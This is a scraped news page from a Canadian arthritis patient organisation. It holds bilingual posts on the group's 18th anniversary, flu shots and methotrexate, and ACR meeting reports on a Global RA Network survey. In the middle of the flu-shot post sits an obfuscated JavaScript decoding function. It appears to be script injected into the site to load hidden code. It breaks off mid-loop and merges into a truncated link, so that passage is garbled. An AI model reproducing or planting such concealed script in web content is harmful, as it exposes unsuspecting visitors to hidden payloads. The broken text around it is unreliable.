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« ACE @ 18 », qu’est-ce que ça signifie ? – Cheryl Koehn

« ACE @ 18 », qu’est-ce que ça signifie ?

J’assistais tout récemment à une rencontre lorsqu’un médecin très en vue (dans un domaine autre que celui de l’arthrite) me disait que de travailler avec la collectivité arthritique et le gouvernement pour améliorer les modèles de soins pour les personnes arthritiques n’était qu’une « utopie ». Son commentaire était en lien avec la présentation que je venais de donner à près de 50 cliniciens et médecins spécialisés dans la recherche. Sur le moment, je suis restée figée près du podium, décontenancée par sa réflexion. Heureusement, je savais tout ce que le comité ACE (Arthritis Consumer Experts) et moi-même avions traversé tout au long de ces 18 dernières années. Nous nous sommes embarqués dans une grande aventure pour modifier et sauver des vies en travaillant bénévolement et en collaborant directement avec nos amis patients et leur famille, les experts médicaux, les spécialistes de la recherche de même que les décideurs en matière de politiques. Cette aventure n’a pas été de tout repos, bien au contraire. Pendant les cinq premières années d’existence du comité ACE, des personnes et des organisations puissantes ne souhaitaient rien de moins que de nous voir « disparaître ». Pourquoi cela ? Tout simplement parce que nous troublions le statu quo en ramenant constamment à l’avant-plan l’expérience et la voix des patients – de vraies personnes réellement atteintes d’arthrite – et que nous refusions absolument de « lâcher » le morceau et d’être mis de côté.

Je tiens à vous dire ceci, chers membres, abonnés, fans et suiveurs, parce que je tiens à ce que vous sachiez que 18 ans plus tard, nous continuerons à faire ce que nous avons toujours fait et même plus encore. Et nous voulons que vous fassiez encore et toujours partie de cette aventure. Vous êtes le comité ACE. Vous êtes l’expérience, la douleur, la lutte, les victoires, la joie et les défis que nous voulons représenter. Nous sommes une famille. Des frères et des sœurs de la famille arthritique, toute la journée, chaque jour.

ACE Cheryl Koehn guest badge at ACR
Cette aventure a commencé avec une seule personne, moi-même. Aujourd’hui, avec nos 40 000 membres et abonnés d’un bout à l’autre du pays, nous sommes la plus importante organisation de patients au Canada. Notre base de membres est plus importante en Ontario, au Québec, en Colombie-Britannique et en Alberta, mais on peut trouver des « fans ACE » dans chaque province et territoire. Que vous résidiez sur la côte Est, la côte Ouest ou dans le centre du pays, votre message est le même :

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“ACE @ 18”, what does that mean? – By Cheryl Koehn

“ACE @ 18”, what does that mean?

I was recently at a meeting when a prominent doctor (from another disease area) told me that working with the arthritis community and government to improve models of care for people with arthritis was a “pipe dream”. His comment was in response to a presentation I had just given to about 50 clinical and research specialist physicians. At first, I was taken aback by his comment as I stood at the podium. Thankfully, I knew where I and Arthritis Consumer Experts (ACE) had come from over the last 18 years. We’ve been on a journey to change and save lives by volunteering and working directly with fellow patients and their families, medical and research experts and policy makers. That journey hasn’t been easy; quite the contrary. For the first five years of ACE’s existence, powerful people and organizations wanted us to “go away”. Why? Well, we upset the status quo by bringing to the forefront the experience and voices of patients – real people living with real arthritis – and by refusing to be discouraged and pushed away.

I’m telling you, our valued members, subscribers, fans and followers, this, because I want you to know that 18 years later, we’re going to keep doing what we’ve always done, and more, and we want you to continue to be a part of the journey. You are ACE. You are the experience, the pain, the struggle, the wins, the joy, the challenges we represent. We are family. Brothers and sisters in arthritis, every day, all day.

ACE Cheryl Koehn guest badge at ACRWe started with one person, me. Today, we are the largest arthritis patient organization in Canada with 40,000 members and subscribers across the country. Our membership base is largest in Ontario, Quebec, British Columbia and Alberta, but we have “ACE-ers” in every single province and territory. Whether you live on the West or East coast or in Centre, what we hear from you is the consistent:

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Had your flu shot yet?

picture of woman getting a flu shotThe latest flu season facts and autoimmune arthritis – A “must” readIf you have not had your flu shot yet, read this “hot off the press” news from the American College of Rheumatology Annual Scientific Meeting presented yesterday in San Diego, California:function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oeomized-clinical-trial/" target="_blank" rel="noopener">Temporary Methotrexate Discontinuation for 2 Weeks Improves Immunogenicity of Seasonal Influenza Vaccination in Patients with Rheumatoid Arthritis: A Randomized Clinical Trial.People with rheumatoid arthritis who stop taking methotrexate treatment for just two weeks after they have a seasonal flu shot can improve the vaccine’s efficacy without increasing rheumatoid arthritis disease activity.

Nouvelles de l’ACR : Combler les lacunes mondiales dans les soins de l’arthrite

ACR Annual Meeting BannerDans le cadre du congrès annuel de l’American College of Rheumatology (ACR) / Association des professionnels de la santé pour l’arthrite (APSA), le comité ACE a fait une présentation par affiche sur une enquête mondiale, « Modèles de soins pour les patients souffrant de polyarthrite rhumatoïde : une enquête internationale », menée par le Réseau PR mondial dont font partie le comité ACE et 20 autres organisations de défense de patients. Cette enquête a été conçue pour recueillir le point de vue du patient sur les modèles de soins de la polyarthrite rhumatoïde (PR) ainsi que pour sonder le degré de connaissance des patients de leur maladie et des médicaments disponibles.

Cette enquête a révélé le besoin urgent d’améliorer la sensibilisation aux modèles de soins de la PR, aux médicaments et à tout le système de soins pendant tous les stades de la maladie. L’un des principaux constats fut le besoin d’offrir aux patients et au public plus d’information et d’éducation sur la polyarthrite rhumatoïde afin d’apporter aux personnes atteintes tout le soutien nécessaire et plus précisément, pour les aider à mieux décrire leurs symptômes et à prendre part aux décisions en collaboration avec leur rhumatologue.

Au cours du congrès annuel de l’ACR, un panel examinant comment combler les lacunes mondiales dans les soins de l’arthrite s’est penché tout particulièrement sur les moyens d’améliorer les soins aux patients habitant les zones mal desservies.

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ACR News: Bridging global gaps in arthritis care

ACR Annual Meeting BannerAt the 2017 American College of Rheumatology’s (ACR) / Association of Rheumatology Health Professionals (ARHP) Annual Meeting, ACE presented a poster on a global survey – “Patient Experiences of Rheumatoid Arthritis Models of Care: An International Survey” – conducted by the Global RA Network – made up of ACE and 20 other patient advocacy groups - designed to gather insights on RA models of care from the patient perspective, as well as probing their knowledge about the disease and available treatments.

The survey revealed the urgent need to improve RA models of care at every stage of the disease awareness, treatment and care journey. One of the key findings was the need for more information and education on rheumatoid arthritis for patients and the public is needed to support people with the disease. Specifically, to help them best describe their symptoms and help them take shared decisions with their rheumatologists.

At the ACR annual meeting, a panel on bridging global gaps in arthritis care looked specifically at ways to improve care for patients living in underserved areas.

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Global RA Network present results of international survey of the rheumatoid arthritis patient care experience at ACR / ARHP Annual Meeting

Global RA Network present results of international survey of the rheumatoid arthritis patient care experience at ACR / ARHP Annual Meeting

The Global RA Network, founded by patient-led national arthritis organizations from 21 countries, presented the results of a global survey – “Patient Experiences of Rheumatoid Arthritis Models of Care: An International Survey”1 – investigating patient-reported experiences of rheumatoid arthritis models of care at the American College of Rheumatology’s (ACR) / Association of Rheumatology Health Professionals (ARHP) Annual Meeting.

GlobalRANetwork Poster at ACRAt an ACR poster session on November 5, 2017, Cheryl Koehn, lead author of the abstract and President of Arthritis Consumer Experts, Canada’s largest patient-led arthritis organization, said: “The survey highlights the difference between best practice RA models of care and the patient’s lived experience of managing a life-long condition like RA. The survey will also advance collaboration between the RA patient organizations involved in the Global RA Network. By analyzing and interpreting the survey results for each participating country, the Global RA Network can develop education and information initiatives to raise awareness of symptoms and ensure RA patients receive the best possible care.”

The first crowd-sourced research of its kind designed by RA patients, for patients, to better learn what their care experiences are like in the their country, the global survey fielded responses from 2,690 respondents from 14 countries in Europe, the Middle East, and North and South America. The survey highlights self-reported gaps and delays in all five key elements of a standardized RA models of care, including significant delays to diagnosis and specialist access globally, delayed therapy effectiveness assessment, and additional education/information to increase the level of confidence to describe RA and improve effective self-care practice.

Key takeaways: Continue reading